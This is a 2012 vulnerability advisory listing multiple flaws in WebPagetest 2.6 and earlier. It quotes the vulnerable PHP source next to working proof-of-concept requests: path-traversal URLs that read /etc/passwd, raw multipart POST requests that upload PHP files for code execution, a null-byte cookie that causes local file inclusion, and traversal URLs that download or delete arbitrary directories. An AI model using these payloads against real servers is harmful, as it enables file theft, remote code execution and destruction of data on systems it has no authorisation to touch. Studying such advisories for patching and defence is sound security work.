:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-07-11 ]
#####################################################
# [ WebPagetest <= 2.6 ] Multiple Vulnerabilities #
#####################################################
#
# Script: "WebPagetest provides a system for testing the performance of web pages from multiple
# locations/configurations and consuming the results in a friendly web interface. "
#
# Vendor: http://www.webpagetest.org/about
# Download: http://code.google.com/p/webpagetest/downloads/list
#
#####################################################
# [ Local File Disclosure #1 ]
# PoC: http://localhost/gettext.php?file=../../../../../../../../../../../etc/passwd
#
# File: ./webpagetest/gettext.php (lines: 2-13)
# ..cut..
include('common.inc'); // 1
$ok = false;
if( isset($_GET['file']) && strlen($_GET['file']) ) // 2
{
$data = gz_file_get_contents("$testPath/{$_GET['file']}"); // 3
if( $data !== false )
{
$ok = true;
echo $data; // 7 [LFD]
}
}
# ..cut..
#
# File: ./webpagetest/common.inc (lines: 493-510)
# ..cut..
function gz_file_get_contents($file)
{
$data = null;
$zip = gzopen("$file.gz", 'rb');
if( $zip === false )
$zip = gzopen($file, 'rb'); // 4
if( $zip !== false )
{
$data = gzread($zip, 10000000); // 5
gzclose($zip);
}
else
$data = false;
return $data; // 6
}
# ..cut..
#
#####################################################
# [ Local File Disclosure #2 ]
# PoC: http://localhost/gettcpdump.php?file=../../../../../../../../../etc/passwd
#
# File: ./webpagetest/gettcpdump.php (lines: 2-13)
# ..cut..
include('common.inc'); // 1
$file = "$testPath/{$_GET['file']}"; // 2
if( isset($_GET['file']) && strlen($_GET['file']) && gz_is_file($file) ) // 3
{
header ("Content-type: application/octet-stream");
gz_readfile_chunked($file); // 5
}
# ..cut..
#
# File: ./webpagetest/common.inc (lines: 460-486, 586-590)
# ..cut..
function gz_readfile_chunked($filename, $retbytes = TRUE)
{
$buffer = '';
$cnt =0;
$handle = gzopen("$filename.gz", 'rb');
if ($handle === false)
$handle = gzopen($filename, 'rb'); // 6
if ($handle === false)
return false;
while (!gzeof($handle))
{
$buffer = gzread($handle, 1024 * 1024); // 1MB at a time // 7
echo $buffer; // 8 [LFD]
# ..cut..
}
# ..cut..
return $status;
}
# ..cut..
function gz_is_file($filename)
{
$ret = is_file("$filename.gz") || is_file($filename); // 4
return $ret; //
}
# ..cut..
#
#####################################################
# [ Local File Disclosure #3 ]
# PoC: http://localhost/getgzip.php?file=../../../../../../../../../etc/passwd
# It's a very similar case, as above.
#
#####################################################
# [ Arbitrary File Upload #1 ]
# File: ./webpagetest/work/resultimage.php (lines: 18-48)
# ..cut..
$locKey = $locations[$location]['key'];
if( (!strlen($locKey) || !strcmp($key, $locKey)) || !strcmp($_SERVER['REMOTE_ADDR'], "127.0.0.1") ) // 1 true
{
if( isset($_FILES['file']) ) // 2
{
$fileName = $_FILES['file']['name']; // 3
$path = './' . GetTestPath($id); // $path = './results/'
# ..cut..
logMsg(" Moving uploaded image '{$_FILES['file']['tmp_name']}' to '$path/$fileName'\n");
move_uploaded_file($_FILES['file']['tmp_name'], "$path/$fileName"); // 4 [AFU]
}
else
logMsg(" no uploaded file attached");
}
# ..cut..
# PoC: http://localhost/work/resultimage.php
POST /work/resultimage.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=---------------------------31101243933548
Content-Length: 209
-----------------------------31101243933548
Content-Disposition: form-data; name="file"; filename="info.php"
Content-Type: text/x-php
<?php phpinfo(); ?>
-----------------------------31101243933548--
# Uploaded file will be here: http://localhost/results/info.php
#
#####################################################
# [ Arbitrary File Upload #2 ]
# File: ./webpagetest/work/dopublish.php (lines: 2-31)
# ..cut..
require_once('../lib/pclzip.lib.php'); // 1
include '../common.inc';
header('Content-type: text/plain');
header("Cache-Control: no-cache, must-revalidate");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
set_time_limit(300);
// make sure a file was uploaded
if( isset($_FILES['file']) ) // 2
{
$fileName = $_FILES['file']['name']; // 3
// create a new test id
$today = new DateTime("now", new DateTimeZone('America/New_York'));
$id = $today->format('ymd_') . md5(uniqid(rand(), true)); // 4
$path = '../' . GetTestPath($id); // 5
// create the folder for the test results
if( !is_dir($path) )
mkdir($path, 0777, true);
// extract the zip file
$archive = new PclZip($_FILES['file']['tmp_name']); // 6
$list = $archive->extract(PCLZIP_OPT_PATH, "$path/", PCLZIP_OPT_REMOVE_ALL_PATH); // 7 [AFU]
if( !$list )
unset($id);
echo $id;
}
# ..cut..
# In this case, we need to create the zip archive, which contains our php file (info.php).
# While uploading, archive will be automatically unzipped to the appropriate folder.
# PoC: http://localhost/work/dopublish.php
POST /work/dopublish.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------4966737613931
Content-Length: 214
-----------------------------4966737613931
Content-Disposition: form-data; name="file"; filename="info.zip"
Content-Type: application/x-zip-compressed
[zip file]
-----------------------------4966737613931--
# After file uploading, script prints some string. For example: 120711_718a3a42e314a0cb740ee66b7b92b9ac.
# This means, uploaded and unzipped file is in folder /results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/
# Uploaded file will be here: http://localhost/results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/info.php
#
#####################################################
# [ Arbitrary File Upload #3 ] magic_quotes_gpc = Off;
# File: ./webpagetest/work/workdone.php (lines: 12-45)
# ..cut..
$id = $_REQUEST['id']; // 1
# ..cut..
if( $_REQUEST['video'] ) // 2
{
logMsg("Video file $id received from $location");
$dir = './' . GetVideoPath($id); // 3
if( isset($_FILES['file']) ) // 4
{
$dest = $dir . '/video.mp4'; // 5 $dest = ./results/video/../info.php%00/video.mp4
move_uploaded_file($_FILES['file']['tmp_name'], $dest); // 6 [AFU]
# ..cut..
}
}
# ..cut..
# PoC: http://localhost/work/workdone.php?video=1&id=../info.php%00
POST /work/workdone.php?video=1&id=../info.php%00 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------187161971819895
Content-Length: 211
-----------------------------187161971819895
Content-Disposition: form-data; name="file"; filename="info.php"
Content-Type: text/x-php
<?php phpinfo(); ?>
-----------------------------187161971819895--
# Uploaded file will be here: http://localhost/results/info.php
#
#####################################################
# [ Local File Inclusion ] magic_quotes_gpc = Off;
# File: ./webpagetest/about.php (line: 20)
# ..cut..
include 'header.inc'; // 1
# ..cut..
#
# File: ./webpagetest/header.inc (lines: 43-47)
# ..cut..
elseif(isset($_COOKIE["cfg"]))
$testLoc = $_COOKIE["cfg"]; // 2
if( isset($testLoc) && strlen($testLoc) && is_file("./custom/$testLoc/headerAd.inc") ) // 3
include("./custom/$testLoc/headerAd.inc"); // 4 [LFI]
# ..cut..
#
# PoC: http://localhost/about.php
GET /about.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: cfg=../../../../../../../../../etc/passwd%00
#
#####################################################
# [ Arbitrary File Download #1 ] register_globals = On
# PoC: http://localhost/download.php?testPath=./relay/../../../../../../../../../etc/
# If the "relay" directory exists, the script will compress to a zip archive, all files in
# a directory that is set in testPath variable. Thereafter, zip archive will be sent to the browser.
#
#####################################################
# [ Arbitrary File Download #2 ] magic_quotes_gpc = Off;
# PoC: http://localhost/video/download.php?id=../../../../../../../../../../../etc/passwd%00
#
#####################################################
# [ Arbitrary File Delete ] register_globals = On
# PoC: http://localhost/delete.php?testPath=./relay/../../../../../../../../../etc/
# If the "relay" directory exists, then directory that is set in a variable testPath will be deleted.
#
### [ dun / 2012 ] #####################################################
